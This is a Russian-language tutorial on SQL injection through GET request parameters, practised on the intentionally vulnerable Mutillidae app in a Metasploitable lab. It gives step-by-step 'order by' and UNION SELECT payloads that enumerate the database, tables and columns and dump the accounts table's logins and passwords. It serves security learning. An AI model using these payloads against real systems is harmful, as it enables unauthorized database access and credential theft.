SQL инъекция в GET запросах
Доброго времени суток, котятки.
Не буду говорить много воды и сразу перейдем к делу. У меня как обычно запущен metasploitable, открыт сайт mutillidae. Если посмотрим на адресную строку. То увидим следующее:
http://192.168.1.38/mutillidae/index.php?page=user-info.php&username=admin&password=adminpass&user-info-php-submit-button=View+Account+DetailsКак мы можем заметить, отправляется GET запрос.
username: admin
password: adminpass
Пароль верен и мы видим следующее:
http://192.168.1.38/mutillidae/index.php?page=user-info.php&username=admin' order by 1%23&password=adminpass&user-info-php-submit-button=View+Account+Details
Если мы это выполним, то получим следующее:
У нас все выполнилось, а если мы попробуем ввести order by 6, то получим ошибку:
Попробуем изменить на order by 5:
И у нас все снова выполнилось. Из пару таких запросов мы поймем, что в базе данных всего 5 столбцов.
И мы получаем нечто новое. Как вы видите, мы получили только 2,3,4. Это значит, что какое либо значение мы не ввели в 2,3,4, если вы напишете туда что то, оно будет отображено на этой странице. Попробуем посмотреть нашу базу данных:
union select 1, database(), user(), version(), 5
Это выражение выберет текущую базу данных, юзера базы данных и версию базы данных. Давайте посмотрим как все работает:
root@localhost - это значит, что мы зашли под рутом
Попробуем получить все доступны таблицы:
union select 1, table_name, null, null, 5 from information_schema.tables where table_schema='owasp10'
И мы получили все доступные таблицы. Получим имена столбцов в таблице accounts:
union select 1, column_name, null, null, 5 from information_schema.columns where table_name='accounts'
Получаем содержимое столбца username и password
union select 1, username, password, null, 5 from accounts
И мы получили все логины и пароли: